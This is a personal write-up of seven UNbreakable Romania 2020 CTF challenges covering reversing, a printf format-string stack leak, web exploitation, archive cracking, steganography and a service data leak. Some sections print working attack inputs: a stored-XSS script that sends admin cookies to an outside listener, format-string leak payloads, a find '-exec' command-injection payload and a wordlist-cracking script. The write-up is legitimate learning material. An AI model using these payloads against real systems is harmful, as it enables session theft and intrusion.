Antonio Macovei

UNbreakable CTF 2020 - Write Up

October 21st, 2020 at 20:00 Antonio Macovei CTF

This weekend (16 - 18 October 2020) was the first edition of UNbreakable Romania, a national InfoSec competition in the format of a Jeopardy-style CTF. It was held completely online on the CyberEdu platform and lasted for 48 hours. In the final leaderboard I ranked 23rd out of 390 registered participants, with 850 points from 6 challenges solved.

During this competition, I practiced and improved my scripting skills using Python and my binary analysis and reverse engineering skills by abusing a well-known vulnerability in printf.

Table of contents:

1. beter-cat (50p)

  • Category: Reverse Engineering
  • Difficulty: Entry Level
  • Author: Bit Sentinel

You might need to look for a certain password.

Flag format: ctf{sha256}

Goal: In this challenge you have to obtain the password string or flag from the binary file.

The challenge provides only a binary file and tells us to look for a password. Using cat on the file (as indicated by the title) doesn't get anything useful, but the strings command has the following, more useful, output:

znq@sydney:~/better-cat$ strings cat.elf
Well donH
e, your H
special H
flag is:H
The password is:
Try Harder!
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0

As seen above, using strings reveals both the password - parola12 - and the flag, split on multiple lines.

Flag: ctf{a818778ec7a9fc1988724ae3700b42e998eb09450eab7f1236e53bfdcd923878}

2. notafuzz (260p)

  • Category: Pwn, Reverse Engineering
  • Difficulty: Easy
  • Author: Bit Sentinel

To fuzz or nor?

Flag format: ctf{sha256}

Goal: You have to connect to the service using telnet/netcat and find a way to recover the flag by abusing a common techniques used in the exploitation of binaries.

This challenge provided another binary file and a running service at This time, however, the basic commands such as strings and cat didn't reveal anything useful, so I got the heavy-duty weapons: IDA. The decompiled program looks like this:

int __cdecl main(int argc, const char **argv, const char **envp)
  const char **v4; // [rsp+0h] [rbp-17A0h]
  signed int i; // [rsp+1Ch] [rbp-1784h]
  char format; // [rsp+20h] [rbp-1780h]
  __int64 v7; // [rsp+410h] [rbp-1390h]
  __int64 v8; // [rsp+418h] [rbp-1388h]
  __int64 v9; // [rsp+420h] [rbp-1380h]
  __int64 v10; // [rsp+428h] [rbp-1378h]
  __int64 v11; // [rsp+430h] [rbp-1370h]
  __int64 v12; // [rsp+438h] [rbp-1368h]
  __int64 v13; // [rsp+440h] [rbp-1360h]
  __int64 v14; // [rsp+448h] [rbp-1358h]
  __int64 v15; // [rsp+450h] [rbp-1350h]
  __int64 v16; // [rsp+458h] [rbp-1348h]
  __int64 v17; // [rsp+460h] [rbp-1340h]
  __int64 v18; // [rsp+468h] [rbp-1338h]
  __int64 v19; // [rsp+470h] [rbp-1330h]
  __int64 v20; // [rsp+478h] [rbp-1328h]
  __int64 v21; // [rsp+480h] [rbp-1320h]
  __int64 v22; // [rsp+488h] [rbp-1318h]
  __int64 v23; // [rsp+490h] [rbp-1310h]
  __int64 v24; // [rsp+498h] [rbp-1308h]
  char v25; // [rsp+4A0h] [rbp-1300h]
  unsigned __int64 v26; // [rsp+1798h] [rbp-8h]

  v4 = argv;
  v26 = __readfsqword(0x28u);
  puts("Good luck!");
  v7 = 'XXXX{ftc';
  v8 = 'XXXXDAED';
  v9 = 'XXXXDAED';
  v10 = 'XXXXDAED';
  v11 = 'XXXXDAED';
  v12 = 'XXXXDAED';
  v13 = 'XXXXDAED';
  v14 = 'XXXXDAED';
  v15 = 'XXXXDAED';
  v16 = 'XXXXDAED';
  v17 = 'XXXXDAED';
  v18 = 'XXXXDAED';
  v19 = 'XXXXDAED';
  v20 = 'XXXXDAED';
  v21 = 'XXXXDAED';
  v22 = 'XXXXDAED';
  v23 = 'XXXXDAED';
  v24 = 'XXXX}';
  memset(&v25, 0, 0x12F8uLL);
  for ( i = 1; i <= 9999; ++i )
    if ( i == 3 )
      puts("Do you have the control?");
      __isoc99_scanf("%1023[^\n]", &format);
      while ( getchar() != 10 )
      printf(&format, v4);
      puts("It does not look like. You have the alt!");
      puts("Do you have the control?");
      __isoc99_scanf("%1023[^\n]", &format);
      while ( getchar() != 10 )
      puts("It does not look like. You have the alt!");
  return __readfsqword(0x28u) ^ v26;

Inspecting the code, one thing stands out. There are a bunch of variables (v7 - v24) which seem pretty interesting. They were originally written as hex (0x585858587B667463LL), but in the code above you can already see the decoded versions. That means that the actual flag will be in the same location on the remote service. Moreover, local variables are stored on the stack, so in order to get the flag I need to leak information.

After further inspection, I also noticed an interesting piece of code on the first branch of the if, matching the condition of i == 3. Instead of puts, the author used printf with an user-provided input in the format string, which could be very dangerous. The attacker can provide arbitrary modifiers, such as %x, %p, %s, etc in order to read or write information from the stack. Given the standard used by C, where the parameters of functions are stored on the stack, printf takes its parameters also from there. That means that if I insert a payload of %p %p %p, I can print the first 3 addresses from the stack. In this case, I don't need to write anything, but there is an intersting article here detailing how to do just that.

Next, I tested this exploit on the remote service and it worked, printing an address from the stack on the third loop:

znq@sydney:~$ nc 31425
Good luck!
Do you have the control?
It does not look like. You have the alt!
Do you have the control?
It does not look like. You have the alt!
Do you have the control?
%p %p %p %p %p %p
%p %p %p %p %p %p
0x1 0xa 0x7f3ed280ea00 (nil) (nil) 0x7fff9db69a68It does not look like. You have the alt!
Do you have the control?

This is looking promising. But in order to leak the flag, I had to go further on the stack. The final payload that worked look like this:


And the output of that:


The flag starts after the empty area (zeroed) and is encoded in hex. However, simply decoding it gives us the wrong output. Because I printed the stack exactly as it was, the flag is stored in little-endian format. In order to get it right, I needed to also convert it to big-endian and then decode the hex. For this purpose, I used a small python script.

from pwnlib.util.packing import p32

hex_values = '0x7b667463 0x36646166 0x30343335 0x66303831 0x63346236 0x39346636 0x31646164 0x61643833 0x34646565 0x66633734 0x39663332 0x33363439 0x31383435 0x35323966 0x30663135 0x63626435 0x30373036 0x5858587d'
hex_list = hex_values.split(' ')

decoded_bytes = [p32(int(x, 16)) for x in hex_list]

result = [x.decode() for x in decoded_bytes]

Flag: ctf{fad65340180f6b4c6f49dad138daeed447cf23f994635481f92551f05dbc6070}

3. manual-review (290p)

  • Category: Web
  • Difficulty: Easy
  • Author: Bit Sentinel

For any coffe machine issue please open a ticket at the IT support department.

Flag format: ctf{sha256}

Goal: The web application contains a vulnerability which allows an attacker to leak sensitive information.

This challenge was part of the web category and greeted me with a login / register page. I created an account and logged in to the dashboard. Here, I could leave a message for the admins. My first thought was to test the input field for XSS, as there was "someone" who may read my message. Sending a simple payload such as <script>alert('Hello!')</script> worked and I was prompted by the pop-up. Moreover, my message also had a status of Assigned at first, which then changed to Solved. This was assuring me that the messages are indeed read. Next, I crafted a malicious payload which steals the cookies of the user who reads my message.

<script type="text/javascript">document.location=''+document.cookie;</script>

In order to intercept the response of the redirect made by the script, I used ngrok, a linux program that exposes local servers behind NATs and firewalls to the public internet over secure tunnels.

I opened port 80 on my localhost and instructed ngrok to use that for the incoming requests, while the payload used the URL provided by the program.

Finally, the request I received from the admins also contained the flag in the User-Agent header.

Flag: ctf{ff695564fdb6943c73fa76f9ca5cdd51dd3f7510336ffa3845baa34e8d44b436}

4. the-code (70p)

  • Category: Web
  • Difficulty: Medium
  • Author: Bit Sentinel

Look, the code is there. Enjoy.

Flag format: ctf{sha256}

Goal: You receive the source code of a small web application and you have to find the vulnerability to exfiltrate the flag.

The second web challenge started by providing the source code of the page.


if (!isset($_GET['start'])){

if(stristr($_GET['arg'], 'php')){
    echo "nope!";

if(stristr($_GET['arg'], '>')){
    echo "Not needed!";

if(stristr($_GET['arg'], '$')){
    echo "Not needed!";

if(stristr($_GET['arg'], '&')){
    echo "Not needed!";

if(stristr($_GET['arg'], ':')){
    echo "Not needed!";

echo strtoupper(base64_encode(shell_exec("find /tmp -iname ".escapeshellcmd($_GET['arg']))));

// Do not even think to add files.

It was a simple page that executed the find command on the /tmp folder, but with a few blacklisted characters. This time, the first instinct was code injection. But in order to reach the code that executed the command, I also had to add a parameter to the URL, start, along with the command arg.

I found online (here) a payload designed to work specifically with find <path> -iname command, executing commands. -or -exec ls ; -quit

However, there was a big problem. The output, as seen in the code above, is encoded in Base64 and then transformed to uppercase. Because of how Base64 works with both lowercase and uppercase characters and their case does matter, this effectively broke the output. I have searched for something to bruteforce it in order to restore it, but came up empty and ended up to manually decode a short response.

Despite this, I was able to get the flag due to a mistake in the challenge logic. I spent some time with the above approach until I finally decided to simply navigate to /flag on the web browser and there it was, the flag. I suspect the intended way of getting the flag would have been to identify its location on the server and then moving it to the /var/www/html folder in order to access it in a plain text state.

Flag: ctf{aaf15cacfba615d51372386909c4771f0836284ad1a539bcef49201c660631ed}

5. russiandoll (80p)

  • Category: Misc, Programming
  • Difficulty: Medium
  • Author: Bit Sentinel

Can you unfold the secrets lying within?

Flag format: ctf{sha256}

Goal: You have to understand what type of file is attached to this challenge, restore the original files and try to gain access to the flag.

This challenge only provides a file without extension and with a strange name (jibeqnocfjjuijypians). Using the file command, I noticed it is a ZIP file. Unzipping it, I get another archive (without extension). This process of extracting archives went on for a few more times, when I decided it's time to use a script written in Python. However, after a few iterations, it broke. The ZIP and 7zip archives started to be protected by passwords. I modified my script to use fcrackzip for the ZIP archives and another script I found on GitHub for the 7zip archives. The final product can be seen below:

import subprocess
import sys
import os, re

filename = sys.argv[1]
archive = True

def substring_after(s, delim):
    return s.partition(delim)[2]

while True:
    print(" ")
    filetype = subprocess.check_output("file " + filename, shell=True).decode()

    if "Zip archive data" in filetype:
        print("Got ZIP...")
        out = subprocess.check_output("fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt " + filename, shell=True)
        password = substring_after(str(out), '== ').replace('\\n\'','')
        print("ZIP PASSWORD: " + password)
        if ".zip" not in filename:
            out = subprocess.check_output("mv " + filename + " " + filename + ".zip", shell=True)
            out = subprocess.check_output("unzip -P " + password + " " + filename + ".zip", shell=True)
            out = subprocess.check_output("unzip -P " + password + " " + filename, shell=True)
        filename = subprocess.check_output("ls", shell=True).decode().strip()
    elif "gzip compressed data" in filetype:
        print("Got gzip...")
        if ".gz" not in filename:
            out = subprocess.check_output("mv " + filename + " " + filename + ".gz", shell=True)
            out = subprocess.check_output("gzip -d " + filename + ".gz", shell=True)
            out = subprocess.check_output("gzip -d " + filename, shell=True)
        filename = subprocess.check_output("ls", shell=True).decode().strip()  

    elif "7-zip archive data" in filetype:
        print("Got 7-zip...")
        out = subprocess.check_output("sudo /home/znq/russiandoll/tmp/ " + filename + " /usr/share/wordlists/rockyou.txt", shell=True)
        password = substring_after(str(out), 'Archive password is: "').replace('"\\n\'','')
        print("7-ZIP PASSWORD: " + password + " for file " + filename)
        if ".7z" not in filename:
            out = subprocess.check_output("mv " + filename + " " + filename + ".7z", shell=True)
            out = subprocess.check_output("7z x -aoa -oarchives -p" + password + " " + filename + ".7z", shell=True)
            out = subprocess.check_output("7z x -aoa -oarchives -p" + password + " " + filename, shell=True)

        filename = subprocess.check_output("ls", shell=True).decode().strip()  

        print(" ")
        print("Ending at: " + filename)
        out = subprocess.check_output("cat " + filename, shell=True)

Flag: ctf{8ffe609c04a7001a908da5b481442ce1ce3208f2a4f3a6862e144bb1f320c54e}

6. tsnumai-researcher (100p)

  • Category: Steganography
  • Difficulty: Easy
  • Author: Bit Sentinel

Steve Kobbs is a specialist in meteorology.

He was called to offer his expertise on the last tsunami which took place in our country.

While Steve was working, a mysterious package arrived at the door.

Inside, an USB stick was found, containing the following audio file: rain.wav

Flag format: The correct answer is in plaintext and must be sent to players in the form of ctf{sha256 of plaintext word}.

Goal: Use various techniques to analyse audio files in order to recover the flag which is hidden in the file rain.wav.

This steganography challenge was all about tuning the parameters of an audio visualiser, such as Audacity or Sonic Visualiser. I first went with Audacity, but I was not able to find anything (maybe because I didn't know how to use it very well), and then went on to Sonic Visualiser, which in the end helped me to get the flag.

Loading the audio file in the program looked like this:

Then, switching to spectrogram viewer:

It started to look like there was something written on the vertical orange bands. From this point on, I played with the setting from the top right corner, adjusting the color, the scale and the window until there was something readable.

The winning settings were:

Zoom: Out
Color: Sunset
Scale: Linear, Hybrid
Windows: 8096 / 2048, None, 1x
Bins: All Bins, Linear

And the text read: Secret code: spectrogram.

Last step was to get a SHA-256 of the word spectrogram and put it in the right format (inside ctf{}).

Flag: ctf{cc3a329919391e291f0a41b7afd3877546f70813f0c06a8454912e0a92099369}

7. imagine-that (270p)

  • Category: Misc
  • Difficulty: Easy
  • Author: Bit Sentinel

Imagine that we are using socat for this one.

Flag format: ctf{sha256}

Goal: You have to connect to the service using telnet/netcat and discover what is leaking.

I spent almost an entire night on this last challenge and thought it deserved its place in the write-up, even if I solved it after the end of the competition. It was really interesting and I learned a lot from it. However, only after I was done with it I realized it had a much simpler approach and all my hard work was for nothing. Work smarter, not harder!

First, I am going to present the long way, from which I learned how to use a Python library called pexepect, which I used to call the socat program from my script in an interactive way.

The challenge presented an online service asking for 2 values (starting points) and a password, while returning some gibberish after the second input.

Enter starting point: 1
Enter starting point: 10

Enter the password:

I noticed that the output had some non-printable characters followed by PNG. This indicated that the service may be leaking a picture. I tried to fuzz the values a little and got some errors:

Enter starting point: abc
Enter starting point: abc
Traceback (most recent call last):
  File "", line 9, in <module>
    if (int(end) - int(start) > 10):
ValueError: invalid literal for int() with base 10: 'abc'
Enter starting point: 0
Enter starting point: 10
Traceback (most recent call last):
  File "", line 12, in <module>
ValueError: slice step cannot be zero

These two provided valuable insights into the code that was running on the server and how it could be abused to leak the necessary data. In my initial approach, I found a way to get consecutive bytes from the service one by one, starting with 1 11 and incrementing both values by one for each step. Then, I extracted the byte from the text and wrote it to a binary file.

import pexpect, re

i = 0
start = 8
end = 18
seek_dist = 10
f2 = open('img.png', 'wb')

while True:
	child = pexpect.spawn('socat - tcp4:')
	child.expect('Enter starting point: ')
	child.expect('Enter starting point: ')
	child.logfile_read = open("out.txt", "wb")

	child.expect('Enter the password: ')
	child.logfile_read = None

	f1 = open('out.txt', 'rb'), 0)
	text =
	if not text:
	print(''.join(map('{:02X}'.format, text)))
	i = i + 1
	start = start + 1
	end = end + 1
	if end == 100:
		seek_dist = seek_dist + 2
	if end == 1000:
		seek_dist = seek_dist + 2
	if i == 4000:

This script may not be the most optimized version, but it did its job. I got a picture - but it was corrupted. During the CTF, I tried different methods and looked up all kinds of software to repair a PNG image, but none of them worked. I managed to fix the magic bytes by myself, but couldn't get the entire image. The intermediary result was this:

It appeared to be a QR Code, so I needed the full image in order to read it. The hint given by the challenge description was really important for the next step. Imagine that we are using socat. I found a StackOverflow post from someone with a similar problem, but at 6 AM after a long night, I couldn't understand what the problem was from that post.

Next day I started working again on it and finally got to the bottom of the problem. When using socat for file transfers, for each newline character (0x0A), it adds a carriage return (0x0D). This was the reason my image was corrupted. So, to get a clean image, I used bless, a hex editor with GUI.

I opened the image and used the Find and Replace function to find every 0x0A 0x0D sequence and replace it with just 0x0A. However, this broke the magic bytes again. Fixing that, I got this nice QR Code:

Scanning it, I got a password: asdsdgbrtvt4f5678k7v21ecxdzu7ib6453b3i76m65n4bvcx. Finally, sending the password to the service returned the flag:

Enter starting point: 1
Enter starting point: 1
Enter the password: asdsdgbrtvt4f5678k7v21ecxdzu7ib6453b3i76m65n4bvcx

Now, to point out how easy would have been to get the entire picture in one shot - simply sending the values of 1 -1 to the service makes the Python slice function to return the whole array (and also matching the condition of less than 10 difference). I only noticed this when writing this write-up, by fuzzing the service again to get the code snippets above.

Flag: ctf{1e894e796b65e40d46863907eafc9acd96c9591839a98b3d0c248d0aa23aab22}